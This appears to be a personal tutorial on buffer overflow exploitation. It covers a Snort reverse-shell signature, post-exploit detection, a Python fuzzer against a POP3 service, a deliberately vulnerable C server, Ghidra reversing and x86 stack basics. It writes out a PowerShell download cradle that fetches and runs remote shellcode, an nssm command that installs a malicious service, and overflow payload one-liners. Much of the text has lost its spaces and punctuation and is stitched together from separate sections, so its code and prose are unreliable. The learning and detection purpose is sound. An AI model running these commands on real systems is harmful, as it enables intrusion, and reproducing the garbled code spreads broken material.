alert ip $EXTERNAL_NET any -gt $HOME_NET any (msgET SHELLCODE METASPLOIT BSD Reverse shell (Not Encoded 3)
content|89 e1 6a 10 51 50 51 97 6a 62 58 cd 80 6a 02 59 b0 5a 51 57| fast_patternonly
referenceurldocemergingthreatsnet2010417 classtypeshellcode-detect sid2010417 rev4 metadataaffected_product Any
attack_target Client_and_Server deployment Perimeter deployment Internet deployment Internal deployment Datacenter tag
Metasploitsignature_severityCriticalcreated_at2010_07_30updated_at2016_07_01)
Modern attacks occur over TLSSSL over tcp communications these days which means detecting our payload would be difficult to nearly
impossible Blue-teams may counter encrypted communication with TLS interception and packet inspection To further evade TLS
interception crypters encoders custom encoded code or polymorphic code would need to be written Irsquove even heard of padding the
payloadsolargethattherulesareignoredduetoperformanceaswellSneaky
HostBasedDetection
In this model you assume the target has already been breached Maybe EMET was disabled or the attack was highly sophisticated and
made it past your defenses Whatever the case the attacker now has command and control over your machine thanks to a Buffer
OverflowLuckilyattackerpatternsofbehaviorarerelativelypredictableWhatdoesthatmean
Consideriftheactivedirectorylogsshowdirectoryenumerationssuchas
netviewdomain
netuserdomain
netaccountsdomain
Considerifthelocalhostlogsshowlocalaseriesofenumerationscommandssuchas
systeminfo
netlocalgroupldquoAdministratorsrdquo
uname-a
catprocissue
Considermoreadvancedpost-exploitattemptstobypassdetectionviaPowerShell
start-Process -FilePath nssmexe -ArgumentList lsquoinstall MaliciousService ldquoCWindowsSystem32WindowsPowerShellv10powershellexerdquo ldquo-command ldquoamp CScriptsMonitorps1 Start-Monitoring rdquordquo lsquo -NoNewWindow-Wait
powershellexe-execbypassndashnoprofilendashciex(New-ObjectNetWebClient)DownloadString
(http10022108081CodeExecutionInvoke-Shellcodeps1)
Similar to the EMET example local logs can be sent via Windows Collectors andor Syslog and forwarded to your SIEM For PowerShell attack Windows has added additional logging capabilities to memory based powershell execution but if the logs are disabled or omitted then detection may be thwarted Irsquove overly simplified a highly sophisticated topic but the point to drive home is that you assume a zero-daywillsucceedandlookforIoCrsquosthatshowenumerationprivilegeescalationetcetc
ENJOY
ReferencesandHonorableMentions
GeneralReferencehttpsenwikipediaorgwikiAddress_space_layout_randomizationhttpsenwikipediaorgwikiExecutable_space_protectionWindowshttpsenwikipediaorgwikiReturn-oriented_programminghttpsenwikipediaorgwikiJust-in-time_compilationhttpsenwikipediaorgwikiHeap_sprayinghttpsenwikipediaorgwikiDangling_pointerSecurity_holes_involving_dangling_pointersTechnicalResourceshttpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsmindmajixcomsplunkmonitor-windows-event-log-datahttpsgithubcomjpalancoalienvault-ossimblobmastersnort-rules-default-openrules290emergingrulesemerging-shellcoderuleshttpswwwsplunkcomblog20170706hellsbells-lets-hunt-powershellshtmlhttpssciencerpieducomputer-sciencehttpresearchcswiscedumistpresentationskupsch_miller_secse08pdf
httpsresourcesseicmueduasset_filesTechnicalNote2016_004_001_466182pdfhttpsblogstechnetmicrosoftcomthedutchguy20170124windows-event-forwarding-to-a-workgroup-collector-serverhttpsgithubcomJonathanSalwanROPgadgethttpswwwrapid7comresourcesrop-exploit-explainedhttpswwwexploit-dbcomdocsenglish17131-linux-exploit-development-part-3---ret2libcpdfhttpswwwexploit-dbcomdocsenglish28479-return-oriented-programming-(rop-ftw)pdfhttpswwwexploit-dbcomdocsenglish44090-zero-day-zen-garden-windows-exploit-development---part-5-[return-oriented-programming-chains]pdfhttpswwwexploit-dbcomdocsenglish17504-defeating-data-execution-prevention-and-aslr-in-windows-xp-sp3pdfhttpswwwexploit-dbcomdocsenglish17914-bypassing-aslrdeppdfhttpswwwblackhatcompresentationsbh-usa-07AfekWhitepaperbh-usa-07-afek-WPpdfhttpswwwowasporgimagesffaOWASP_IL_8_Dangling_Pointerpdfhttpswwwrapid7comresourceswhy-you-should-be-using-emethttpswwwcorelanbeindexphp20111231exploit-writing-tutorial-part-11-heap-spraying-demystifiedhttpswwwblackhatcompresentationsbh-europe-07SotirovPresentationbh-eu-07-sotirov-apr19pdfComputerphilevideosandtheirAuthorsProgrammingandSoftwareArchitecturehttpswwwseasupennedu~cit595cit595s10contentshtmlhttpswwwlearn-corghttpsgodboltorgLinuxManPagesandtheirAuthors
if(sock_fdlt0)printf(Erroropeningasocketn)exit(1)Anin_addrstructuredefinedinthesameheaderfilecontainsonlyonefieldaunsignedlongcalleds_addrforserveraddressThevariableserv_addrwillcontaintheaddressoftheserverandcli_addrwillcontaintheaddressoftheclientwhichconnectstotheserverTheportnumberonwhichtheserverwilllistenforconnectionsispassedinasanargumentandthisstatementusestheatoi()functiontoconvertthisfromastringofdigitstoanintegerport=atoi(argv[1])serv_addrsin_family=AF_INETserv_addrsin_addrs_addr=INADDR_ANYserv_addrsin_port=htons(port)Thebind()systemcallbindsasockettoanaddressinthiscasetheaddressofthecurrenthostandportnumberonwhichtheserverwillrunIttakesthreeargumentsthesocketfiledescriptortheaddresstowhichisboundandthesizeoftheaddresstowhichitisboundThesecondargumentisapointertoastructureoftypesockaddrbutwhatispassedinisastructureoftypesockaddr_inandsothismustbecasttothecorrecttypeThiscanfailforanumberofreasonsthemostobviousbeingthatthissocketisalreadyinuseonthismachineif(bind(sock_fd(structsockaddr)ampserv_addrsizeof(serv_addr))lt0)printf(Erroronbind()n)exit(1)ThelistensystemcallallowstheprocesstolistenonthesocketforconnectionsThefirstargumentisthesocketfiledescriptorandthesecondisthesizeofthebacklogqueueiethenumberofconnectionsthatcanbewaitingwhiletheprocessishandlingaparticularconnectionThisshouldbesetto5themaximumsizepermittedbymostsystemsIfthefirstargumentisavalidsocketthiscallcannotfailandsothecodedoesntcheckforerrors printf(Waitingforaconnectionn)listen(sock_fd1)while(1)infiniteloopTheaccept()systemcallcausestheprocesstoblockuntilaclientconnectstotheserverThusitwakesuptheprocesswhenaconnectionfromaclienthasbeensuccessfullyestablishedItreturnsanewfiledescriptorandallcommunicationonthisconnectionshouldbedoneusingthenewfiledescriptorThesecondargumentisareferencepointertotheaddressoftheclientontheotherendoftheconnectionandthethirdargumentisthesizeofthisstructurecli_len=sizeof(cli_addr)cli_fd=accept(sock_fd(structsockaddr)ampcli_addrampcli_len)if(cli_fdlt0)printf(Erroronaccept()n)exit(1)printf(Connectionacceptedn)
vuln_read(cli_fd)charmessage[]=HellotheretrytoPwnmeifyourea1773H4x0rlolznwrite(cli_fdmessagestrlen(message))close(cli_fd)sleep(1)return0
BasicsofFuzzingLetrsquosgetonethingoutofthewayIambynomeansamasteroffuzzingLikethisentiredocumentIonlywritetore-enforcemyownpersonallearningandmaybehaveausefulreferenceformyselforfriendslaterPerOWASPldquoFuzztestingorFuzzingisaBlackBoxsoftwaretestingtechniquewhichbasicallyconsistsinfindingimplementationbugsusingmalformedsemi-malformeddatainjectioninanautomatedfashionrdquoThereare3generictypesoffuzzers
ApplicationFuzzers ProtocolFuzzers FileFormattingFuzzers
TolearnthecoreconceptsIstartedbytakingapurestapproachandlearningthebasicsoffuzzingwithmanualcommand-lineandalittlebitofpythonAllyouneedisthegeneralcuriosityofldquoWhathappenswhenItypethisinrdquoHoweverwhendealingwithlargebuffersorvariouscombinationandpermutationyoumayneedtowritesomeforandwhileloopsinascriptinglanguageorusedpre-computedwellknownbadparameterlistslikethosefoundherehttpsgithubcomdanielmiesslerSecListstreemasterFuzzing
FuzzingforOverflows-GettheArsquosBrsquosandCrsquosAsimpleandwellknownpythonexamplecanbefoundfloatingaroundGithubandBlogstoexploitanoldPOP3serverOfcourseyouneedtoknowsomebasicsofthePOP3protocolcommandThebelowcodeisagoodexampleofgrowingavalueinbyte-sizebeyondtheallocatedmemorysizeThisexampledoesntfocusonfuzzingldquoWebapplicationrdquoresponsesbutinsteadfocusesonsimplebytesizebasedbufferoverflowEventuallytheapplicationcrasheswithasegmentationfaultwhen
FuzzerBuffergtApplicationBuffer
WersquolluseabunchofArsquosBrsquosandCrsquostolocatethespaceinmemorywehavewrittenintoYoucanpickwhatevervaluesyouwantbutstartingwritingoutafewwellknownHEXcodesmakesiteasyforanooblikemyselftoseewhendiggingintothestackandbufferduringdebuggingHereareacouplepiecesofPythonscriptthatcanbere-usedforvariousoccasionsusrbinpythonimportsocketCreateanarrayofbufferswithArsquosfrom1to5900usingincrementsof200Incrementsof200arearbitraryyoucouldusen++ifyouwanttowaitlongerWhateverbuffer=[A]counter=100whilelen(buffer)lt=30
bufferappend(Acounter)counter=counter+200
forstringinbufferprintFuzzingPASSwithsbyteslen(string)s=socketsocket(socketAF_INETsocketSOCK_STREAM)connect=sconnect((19216801110))srecv(1024)ssend(USERtestrn)srecv(1024)
ssend(PASS+string+rn)ssend(QUITrn)sclose()AnotherexamplemightbetogeneraterandomAlphaNumericvaluestothrowatyourapplicationargumentsThevalueofperformingthisofthismightdependonwhattypeofbehavioryourtryingtoinvokeimportsysfromrandomimportrandintsamplefromfuzzerimportFuzzerclassAlphaNumericFuzzer(Fuzzer)Afuzzerthatproducesunstructuredalphanumericoutputdef__init__(selfmin_lengthmax_length)super()__init__()self_min_length=min_lengthself_max_length=max_lengthself_alphabet=set(abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789)propertydefmin_length(self)returnself_min_length
propertydefmax_length(self)returnself_max_lengthdefgenerate(self)data=[]start=selfmin_lengthend=0ifselfmax_lengthisnotNoneend=randint(startselfmax_length)elseend=randint(startsysmaxsize)foriinrange(startend)dataappend(sample(self_alphabet1)[0])self_casesappend(join(data))returnjoin(data)AnothersimplecommandforthemanualtestinginthisPoCareasfollowspython-cprintx41overflowpython-cprintx41[offset]+x42[4]+x43[Overflow-offset-4]python-cprintx90[offset]+InstructionPointer[4]+x90[Overflow-offset-4]DonrsquotworryifthesecommandsareconfusingwersquorebuildinguptoexamplesThegoalhereistolearntowriteBOmalwareReversecompiledBbinarieshowtowritethebasicsoflowlevelCprogrammingSocketProgrammingandAssemblyHoweverthereareplentyofldquopre-definedrdquolistsofwellknownbadparameterstopassintoinputfieldsandheadersviaallsortsofWeb-AppproxytoolsMaybeforanothertimeIntelligentvsDumbFuzzingIjustgotoutofanembeddedsystemexploitationclasstaughtbysomebrilliantexploitresearchersanddevelopersfromRaytheonMartinHodoakaldquoShellcodeMercenaryrdquosaidsomethingIthoughtwasagreatstickingpointldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoInthisexampleweareluckyenoughtohaveaccesstosomesourcecodeThereisagoodexampleinthesourcecodethatprovesMartinrsquospointServer-SideSourceCodeExampledefineHEADER_SIZE4charbuffer[BUFFER_BOUNDARY_SIZE]intto_readread(cli_fdampto_readHEADER_SIZE)printf(Willreaddbytesnto_read)
Client-SideCodeCodeExampledefconvert(message)raw=raw+=structpack(ltIlen(message))raw+=messagereturnrawWhyisthisimportantWhatpointdoesthisillustrateMyhumbleopinionisthattheapplicationmaybeexpectingaveryparticularsetofstringsbeforeprocessinganydatainthebufferitselfForexamplemaybethesocketyourcommunicatingisexpectingsomesortofpreamble2byteflagsorevenasimpleldquoHellordquoprefixMorerealisticallytheclientcouldsendsometypeofuniqueOSflagClientVersionFlagHelloorwhoknowswhatInthiscasethereisanexpectationthatthefirst4byteswillincludethelengthoftheclientpayloadThelengthoftheclientpayloadisofcoursecalculatedbythepythonclientAdnthatrsquosjustaweirdnuanceofthiscodeandprobablynoothercodeSoifyoutrytoconnectdirectlytothesocketandthrowaldquoBunchofArsquosrdquoatthelistenermaybetheldquoAsrdquowillgettothenextfunctionfortheoverflowORmaybetheldquoArsquosrdquowonrsquotevenmakeitbecauseofsomemissingpre-fixlogicstuffthatisuniquetotheapplicationExampleofOverflowcrashusingPrefix
InthiscasewewereluckyandourldquoArsquosrdquoorldquox41rdquomadeitthroughandoverwrotetheinstructionpointerThismaynotmeanmuchtothosenewtotheBufferOverflowconceptbutdonrsquotworrybecausethepointisldquothehackworkedrdquobecauseweknewtheservicewasexpectinga4byteofprefixThemoreyouunderstandwhattheapplicationexpectsthemorelikelyyouaregettingintodeeperpartsinthecode Nowletrsquostakealookatblindlyfuzzingwithoutunderstandingtheclient-serversourcecode
ExampleofOverflowusingBlindNecatTelnetpayloadwithoutthePrefix
WhathappenedhereItwouldappearthatwesentthesamenumberofldquoArsquosrdquototheprogrambutweexitednormallyanddidnotreceiveasegmentationfaultattheinstructionpointerWhyWellwithoutknowingthesourcecodewecanrsquotreallysayAlthowecanguessthatwithouttheldquoPrefixrdquobytesthenwearenotover-writingthestackenoughandneedmoreldquoArsquosrdquoAlsolookhowtheldquoWillReadrdquoandldquoReadrdquoseemstobeallwhackyandnotmakemuchsensePreviouslytheclientpyscriptsentthestringldquo1050rdquointhemessageandtheservertolduswesent1050bytesbutonlybecauseldquo1050rdquostringwasprefixedontothemessageviatheclientSincethenetcatcommanddoesnrsquothavethatlogictheldquoprefixrdquoismissingandourserversidecodedoesnrsquotknowwhattodoThiscouldresultinsomelogicfailureearlyinthesourcecodekeepingyoufromfeedingthoseldquoArsquosrdquointoavulnerablefunctionthathidesdeeperinthestackwaitingforajuicy0-day(-
ReversingCompiledBinariesInthecaseoftheexampleclientpywegetluckyandcansimplyreverseengineerthepythonsourcecodeIfweweredealingwithacompiledclientbinarythenIrsquodsaystartwithldquofilerdquoandldquostringsrdquocommandandthenmoveontode-compliationLetrsquostryfileandstringsonourserversidecompiledcodejustforkicks
WecanseeitsacompiledELFbinarythepre-processordirectivebeingusedandlaterinthestdoutofstringcommandwecanseethestringtheprintfgivesusRememberifweonlyhadthecompiledbinariestoworkwiththensuccessfullyfuzzingthisapplicationmaygiveusproblemsbecauseoftheunknownldquoprefixrdquothatisappendedtotheclientpymessageSohowdowefigurethisoutifwedonthaveaccesstothesource-codeNSAGHIDRAtotheRescueOurfriendsattheNSArecentlyannouncedwhatIconsideraprettykickasstoolGHIDRAToquotedirectlyfromWIKIldquoGhidraisafreeandopensourcereverseengineeringtooldevelopedbytheNationalSecurityAgency(NSA)ThebinarieswerereleasedatRSAConferenceinMarch2019thesourceswerepublishedonemonthlateronGitHubGhidraisseenbymanysecurityresearchersasacompetitortoIDAProandJEBDecompilerrdquo
LetrsquossayonewayoranotherwegetourhandsonsomecompiledclientorserverbinariesandneedtodoadeepdivemaybetodevelopourownmyintelligentfuzzerWhatmightthatlooklikeDownloadtheGhidrasourcecompileandrunThensimplyimportyourbinaryThatrsquosit
YoursquollwanttousetheldquoCodeBrowserrdquointheGHIDRAtoolchestFromthereimportyourcompiledbinaryGhidrawilldothede-compilationmagicforyoufromthereAsillustratedbelowIrsquovepulledupthecompiledvulnServerCassemblycodeandGhidarsquosguessatthede-compiledfunctionsourcecodeThesourcecodewonrsquotmatchexactlybutyouwillbeabletoviewthefunctionandthelogicwhichwillallowyoutofindinsecurefunctionsandcustomfunctionsthatcreatesimilarproblems
WhatdoesallthismeanWellIbasicallywentthrougheachfunctionlookingforanyargumentthatmightbeinterestingIfyounoticedIrsquovehighlightedthex86op-codeatmemorylocation0x001012dwhichinvokesaCALLtoREAD()andsomesubsequentMOVrsquoswhicharelikelyaddingnewthe4BytestosomememorylocationThecorrespondingCcodeforthatassemblyissograciouslypositionedtotherightofourassemblyinstructionsLetrsquoslearnalittlebitabouttheREAD()functioninC
ssize_tread(intfsvoidbufsize_tN)ldquoFromthefileindicatedbythefiledescriptorfstheread()functionreadsNbytesofinputintothememoryareaindicatedbybufrdquoSotheprogrammerherewrotethisapplicationtoonlyreadthefirst4bytesofsomethingReadingfurtherintothedecompiledsourceweprintfthattellsuswerereadingtheldquoMessagerdquoakathepayloadorclientissendingSowersquorereadingthefirst4bytesoftheclientpayloadandstoringitintoavariablethatisthenbeingprintedbacktousinthevulnerableServerwhichprintsitrsquosldquoValuerdquoakanumberofBytes
Itlookslikethisisa4byteldquopre-fixrdquowhichisbasicallytheLEN(PAYLOAD)sentfromtheclientYoucanvalidatethisbelookingbackatthepythonclientcode
FormetheimportanttakeawaygoesbacktothatquoteearlierldquoYoucaneitherthrowabunchofgarbageattheprogramoryoucanunderstandwhatthecodeisexpectingrdquoIfwewereinadifferentsituationandwehadtowriteourownPythonfuzzingclientfromscratchwenowknowwhattheserverisexpectingfromtheclientFromherewecanreverseengineerourownfuzzingclientinwhateverlanguageyouwantWhenIfirstlearnedbufferoverflowsitwaswithwellknownvulnerableserversandtheldquoclientrequestrdquomessagewaswelldocumentedTherealityisthatdeeperstaticcodeanalysisisgenerallyrequiredforbufferoverflowsresearch
CrashingtheStackFinallyrightitrsquosalongstrangetripSo
WehavesomebasicskillsinC WehaveavulnerableCserverlisteningonthelocalnetwork WehaveeitheracustomorgenericclientforcommunicationtotheVulnerableServer WeunderstandweneedtoFuzztheprogramsarguments
Weusedsometoolstoreverseengineercompiledbinariesincaseweneedtogetcreativewiththefuzzypayload
Asaself-taughttechnologistoneofthemostdifficultareasIstruggledwithwasunderstandingwhatwasgoingonunderthehoodIstartedmyldquoTechyrdquojourneywritingJavaSCriptandHTMLbecauseitwaseasyandIcouldgetimmediatevisualfeedbackviachangesinthebrowserWorkingdownthestackintoCprogramingandx86x64LinuxandWindowsarchitectureswasandstillisnoteasyEitherWaylearninglowleveldebuggingisnecessaryWhatrsquosabufferldquoAbufferissimplyacontiguousblockofcomputermemorythatholdsmultipleinstancesofthesamedatatypeCprogrammersnormallyassociatewiththewordbufferarraysMostcommonlycharacterarraysArrayslikeallvariablesinCcanbedeclaredeitherstaticordynamicStaticvariablesareallocatedatloadtimeonthedatasegmentDynamicvariablesareallocatedatruntimeonthestackTooverflowistofloworfilloverthetopbrimsorboundsWewillconcernourselvesonlywiththeoverflowofdynamicbuffersotherwiseknownasstackbasedbufferoverflowsrdquo-SmashingtheStackbyAlephOneMostconfusingtomewashowthestackrelatesbacktoBufferandhowtheassemblylanguagefitsintothepuzzleSomeself-pacedlabshadmebreakopenadebuggertothesightofthishellip
TheScarydebuggerUI
IpersonallydecidedtogetofftheUIdebuggerbecauseitldquohadtoomanywindowsrdquoatthetimeLaterinthispaperIflipbacktotheUIbecauseitmadememorydumpseasytovisualizeWewillstartwithlinuxGDBintheterminalJustseemedalotcleanerviewandteachesyoumoreabouttheGUIversionAlthoughlearningtheterminalcommandstakemoretimethanclickingawindowtheyarebestforbeginners
NativeEDBinTerminal
OkaysoIputthesepicturesfirsttoputthebigbadscaryscreenswithldquoTheMatrixrdquofontoutofthewayHonestlyitrsquosnotthatbadIrsquovesynthesizedmynotesdowntoafewimportantthingsUnderstandtheBasicsofMemoryManagementIfoundanarticlethatbrokedownthebasicsofmemoryandthestackinawaythatreallyhelpedputthepiecestogetherAsanyonemovespastbasicNOPsledsintomoreadvancedexploitwritingthefollowingnotesareabsolutelycriticalFlipbackandforthbetweenthedefinitionsandtheimagesafewtimes
1 CommandlineargumentsandenvironmentvariablesTheargumentspassedtoaprogrambeforerunningandtheenvironmentvariablesarestoredinthehighmemoryaddresssection
2 StackThisistheplacewhereallthefunctionparametersreturnaddressesandthelocalvariablesofthefunctionarestoredItrsquosaLIFOstructureItgrowsdownwardinmemory(fromhigheraddressspacetoloweraddressspace)asnewfunctioncallsaremadeWewillexaminethestackinmoredetaillater
3 HeapAllthedynamicallyallocatedmemoryresideshereWheneverweusemalloctogetmemorydynamicallyitisallocatedfromtheheapTheheapgrowsupwardsinmemory(fromlowertohighermemoryaddresses)asmoreandmorememoryisrequired
4 Uninitializeddata(BssSegment)AlltheuninitializeddataisstoredhereThisconsistsofallglobalandstaticvariableswhicharenotinitializedbytheprogrammerThekernelinitializesthemtoarithmetic0bydefault
5 Initializeddata(DataSegment)AlltheinitializeddataisstoredhereThisconstistsofallglobalandstaticvariableswhichareinitialisedbytheprogrammer
6 TextThisisthesectionwheretheexecutablecodeisstoredTheloaderloadsinstructionsfromhereandexecutesthemItisoftenreadonly
MemoryArchitecture
RegistersampldquoTheStackrdquohellipakascarystuffYoulikelyalreadyknowthatcomputerprocessoroperationsmostlyinvolveprocessingdatathatyouprovideitHowevertoprocessyourdatathecomputerneedstostoredataandaccessitDatacanbestoredondiskstoredinmemoryorstoredinCPUmemoryforexampleHoweverreadingdatadiskfromRAMandalltheIOassociatedwithgettingdataintomemoryslowsdowntheprocessingAlltheoperationstomovedataroundbasicallyinvolvescomplicatedprocessesofsendingthedatarequestacrossthecomputerrsquoscontrolbusandintothememorystorageunit(MSU)andgettingthedatathroughthesamechannelTospeeduptheprocessoroperationstheprocessorisbuiltwithsomeinternalmemorystoragelocationscalledregistersRegistersstoredynamicvariablesoperationstoperformcalculationsandinstructionstotelltheCPUwhattodonextThisisldquoTheStackrdquoldquoTheregistersstoredataelementsforprocessingwithouthavingtoaccessthememoryAlimitednumberofregistersarebuiltintotheprocessorchiprdquoBasicallyregistersarewhereyouputimportantstuffthatneedstobeprocessedbytheCPUWhatdoesthatmeanAddingsubtractingorwhateveryouneedtodotocreateordisplayldquostuffrdquoinyourprogramLetrsquosdigintothemessy
detailsitwontbefunnyyoursquollneedtore-readandafterreadingafewtimesdonrsquotbeafraidthatyoudonrsquotrememberitallJustbustopenadebuggerandstarttinkeringaroundProcessorRegistersWersquoregoingtofocuson32bitoperatingsystemThereareten32-bitandsix16-bitprocessorregistersinIA-32architectureTheregistersaregroupedintothreecategoriesminus
Generalregisters Controlregisters Segmentregisters
Thegeneralregistersarefurtherdividedintothefollowinggroups
Dataregisters Pointerregisters Indexregisters DataRegisters
DataRegistersFour32-bitdataregistersareusedforarithmeticlogicalandotheroperationsThese32-bitregisterscanbeusedinthreewaysRememberXfordataregardlessof32or64bit
1) Ascomplete32-bitdataregistersEAXEBXECXEDX2) Lowerhalvesofthe32-bitregisterscanbeusedasfour16-bitdataregistersAXBXCXandDX3) Lowerandhigherhalvesoftheabove-mentionedfour16-bitregisterscanbeusedaseight8-bitdataregisters
AHALBHBLCHCLDHandDL
Someofthesedataregistershavespecificuseinarithmeticaloperations
AX is the primary accumulator it is used in inputoutput and most arithmetic instructions For example in
multiplicationoperationoneoperandisstoredinEAXorAXorALregisteraccordingtothesizeoftheoperand
BXisknownasthebaseregisterasitcouldbeusedinindexedaddressing
CXisknownasthecountregisterastheECXCXregistersstoretheloopcountiniterativeoperations
DX is known as the data register It is also used in inputoutput operations It is also used with AX register along with
DXformultiplyanddivideoperationsinvolvinglargevalues
PointRegisters(IPissuperimportantreadaboutitoverandoveragain)The pointer registers are 32-bit EIP ESP and EBP registers and corresponding 16-bit right portions IP SP and BP
Therearethreecategoriesofpointerregisters
Instruction Pointer (IP) minus The 16-bit IP register stores the offset address of the next instruction to be
executed IP in association with the CS register (as CSIP) gives the complete address of the current
instruction in the code segment NOTES IP will control the next instruction executed hellip like say our
malware
Stack Pointer (SP) minus The 16-bit SP register provides the offset value within the program stack SP in
association with the SS register (SSSP) refers to be current position of data or address within the program
stack NOTES Might give you a reference point to look higher in memory to find our malware in
bufferNOPsledaddresses
Base Pointer (BP) minus The 16-bit BP register mainly helps in referencing the parameter variables passed to a
subroutine The address in SS register is combined with the offset in BP to get the location of the parameter
BP can also be combined with DI and SI as base register for special addressing NOTES Base pointer
tracks the memory location between your Dynamic Variables and registers and your buffer etc BP
isagoodreferencepointforfindingsmemorylocationsupintoregistersordownintoyourbuffer
Therersquos also a lot of talk about assembly At first glance when assembly is in the debugger it looks really complicated
and scary Quite frankly I still havent mastered it but while you learn there are a few core concepts and operational
codestostartwiththatmostoverflowstutorialsseemtoincludehellip
Irsquom going to list what might seem like some scary and complicated stuff but read it and then look at the pictures
following it then go back and reread this section againhellipIf youre not ready jump into the picture directly at the end
andcomebacktoreading
ControlFlowInstructions
The x86 processor maintains an instruction pointer (IP) register that is a 32-bit value indicating the location in memory where the
currentinstructionstarts
Normally it increments to point to the next instruction in memory begins after execution an instruction The IP register cannot be
manipulateddirectly(Butitcanbeoverwritten)butisupdatedimplicitlybyprovidedcontrolflowinstructions
We use the notation ltlabelgt to refer to labeled locations in the program text Labels can be inserted anywhere in x86 assembly code
textbyenteringalabelnamefollowedbyacolonForexample
movesi[ebp+8]
beginxorecxecx
moveax[esi]
The second instruction in this code fragment is labeled begin Elsewhere in the code we can refer to the memory location that this
instruction is located at in memory using the more convenient symbolic name begin This label is just a convenient way of expressing
thelocationinsteadofits32-bitvalue
jmpmdashJump
Transfers program control flow to the instruction at the memory location indicated by the operand You might use this to ldquoJumprdquo into
amemorylocationthatishostingthemalware
Syntax
jmpltlabelgt
Example
jmpbeginmdashJumptotheinstructionlabeledbegin
callretmdashSubroutinecallandreturn
These instructions implement a subroutine call and return The call instruction first pushes the current code location onto the
hardware supported stack in memory (see the push instruction for details) and then performs an unconditional jump to the code
location indicated by the label operand Unlike the simple jump instructions the call instruction saves the location to return to when
thesubroutinecompletes
The ret instruction implements a subroutine return mechanism This instruction first pops a code location off the hardware supported
in-memory stack (see the pop instruction for details) It then performs an unconditional jump to the retrieved code location A series of
instructionsthatendinRETareoftenchainedtogethertobypassstackprotectionswhichyouwillfindoutlater
Syntax
callltlabelgt
ret
DataMovementInstructions
movmdashMove(Opcodes88898A8B8C8E)
The mov instruction copies the data item referred to by its second operand (ie register contents memory contents or a constant value)
into the location referred to by its first operand (ie a register or memory) While register-to-register moves are possible direct
memory-to-memory moves are not In cases where memory transfers are desired the source memory contents must first be loaded
intoaregisterthencanbestoredtothedestinationmemoryaddress
Syntax
movltreggtltreggt
movltreggtltmemgt
movltmemgtltreggt
movltreggtltconstgt
movltmemgtltconstgt
Examples
moveaxebxmdashcopythevalueinebxintoeax
movbyteptr[var]5mdashstorethevalue5intothebyteatlocationvar
pushmdashPushstack(OpcodesFF898A8B8C8E)
The push instruction places its operand onto the top of the hardware supported stack in memory Specifically push first decrements
ESP by 4 then places its operand into the contents of the 32-bit location at address [ESP] ESP (the stack pointer) is decremented by
pushsincethex86stackgrowsdown-iethestackgrowsfromhighaddressestoloweraddresses
Syntax
pushltreg32gt
pushltmemgt
pushltcon32gt
Examples
pusheaxmdashpusheaxonthestack
push[var]mdashpushthe4bytesataddressvarontothestack
popmdashPopstack
The pop instruction removes the 4-byte data element from the top of the hardware-supported stack into the specified operand (ie
register or memory location) It first moves the 4 bytes located at memory location [SP] into the specified register or memory location
andthenincrementsSPby4
Syntax
popltreg32gt
popltmemgt
Examples
popedimdashpopthetopelementofthestackintoEDI
pop[ebx]mdashpopthetopelementofthestackintomemoryatthefourbytesstartingatlocationEBX
leamdashLoadeffectiveaddress
The lea instruction places the address specified by its second operand into the register specified by its first operand Note the
contents of the memory location are not loaded only the effective address is computed and placed into the register This is useful for
obtainingapointerintoamemoryregion
Syntax
lealtreg32gtltmemgt
Examples
leaedi[ebx+4esi]mdashthequantityEBX+4ESIisplacedinEDI
leaeax[var]mdashthevalueinvarisplacedinEAX
leaeax[val]mdashthevaluevalisplacedinEAX
In this write up and many blogs yoursquoll pay close attention to IP ESP and JMP in the vulnerable program However the other assembly
commands are good for understanding generally how higher level code gets executed and for other potential overflow techniques So
letrsquos summarize all this into a simple picture I found this while watching a Youtube video by ComputerPhile I thought it summarized
everythingquitenicely
On the left hand side you have the storage location we discussed previously For example you have you ldquoStackrdquo and ldquoHeaprdquo called out
The right hand of this picture basically breaking down the stack into some of the locations that get put into the stack Say a math
function parameters (ie your dynamic variables in code) your return address or Instruction Pointer IP etc etc Okay so to a noob
maybethisdoesntmeanalotsoletrsquosmoveontosomemorevisualexamplesfirstbeforewetalkaboutanymoreldquocoderdquo
SowehaveabufferandsomeotherCPUbasedmemoryspacesforthoseregisterslocationsAllthatassemblycodeishelpingusadd
thingsintotheregistrylocationjumptonewfunctionsincodetakethingsoutanddomathematicaloperationsforyourfunctionsinthe
higherlevelcode
IfyoureadalongotherpartsoftheregistryareusedforstoringpointerstothenextfunctionprogramordatainourbufferetcInthis
pictureifyousendldquoToomuchdatardquototheprogramandyourprogramhasnoboundscheckingthenthebuffercanoverflowyour
instructionpointerIfyoucanoverwriteaninstructionpointer(akaIPEIP)withthememorylocationofyourmalwarethenyoucantrick
theprogramintoexecutingyourmalwarewiththeprogramspermissions
OverflowtheBufferCrashintotheStackWriteaReturnAddressintoEIPthatpointsbacktoyourmalware
LetrsquosbreakdownthevulnerableservercodeinAssemblytobetterunderstandwhatrsquoshappeningwhenwefuzztheapplicationand
overflowwithabunchofArsquosandBrsquosTypeobjdump-dVulnerableServer
1 TheaddressofvulnReadstartsatmemoryaddress78dinhex
2 x414inhexor1044indecimalbytesarereservedforthelocalvariablesBecauseofincludeBUFFER_SIZE=1024alarge
isallocatedasalocalvariable
791 81ec14040000 sub$0x414esp
3 Theaddressofthebufferstarts0x410inhexor1040indecimalbytesfrombase-pointerebpThismeansthat1040bytesare
reservedforbufferbutrememberthatBUFFER_SIZE=1024
8d85f0fbffff lea-0x410(ebp)eax
4 Memorylocationsseemtobeaddingandsubtractingbasedonspaceneededtostoredifferentoperationsandmemory
locationsUntilfinally
5 Later-0x40c(ebp)eaxor1036arereservedandatmemorylocation7e6weseeacallto550ltreadpltgt
defineBUFFER_SIZE1024
defineHEADER_SIZE4
EIP(ReturnAddresstonextfunction)
EBPofVuln_Read(BasePointer)
to_read
buffer
read_bytes
Lastvariable(StackPointer)
So1040byteofmemorywasallocatedandthestackgrowsdownfromEBPSomeassemblyoperationsoccurandvariablesarestored
andpointersandupdatedandthememorygrowsandshrinksWithoutbeinganassemblygeniusweseethespecificfunction
(readplt)withthevulnerabilitycalledandcaninferthatthebufferallocationbeforethatisusedforthefunctioncallInthiscase1036
availablebytesLetrsquosbreakthatdown
1036bytesforthebuffer+4bytesforEBP+4bytesforEIP(InstructionPointer)
AnotherimportantpieceofthepuzzleistoldquoFindrdquothecodethatyoujustputintothebufferInourexamplethatwillbeabunchofArsquos
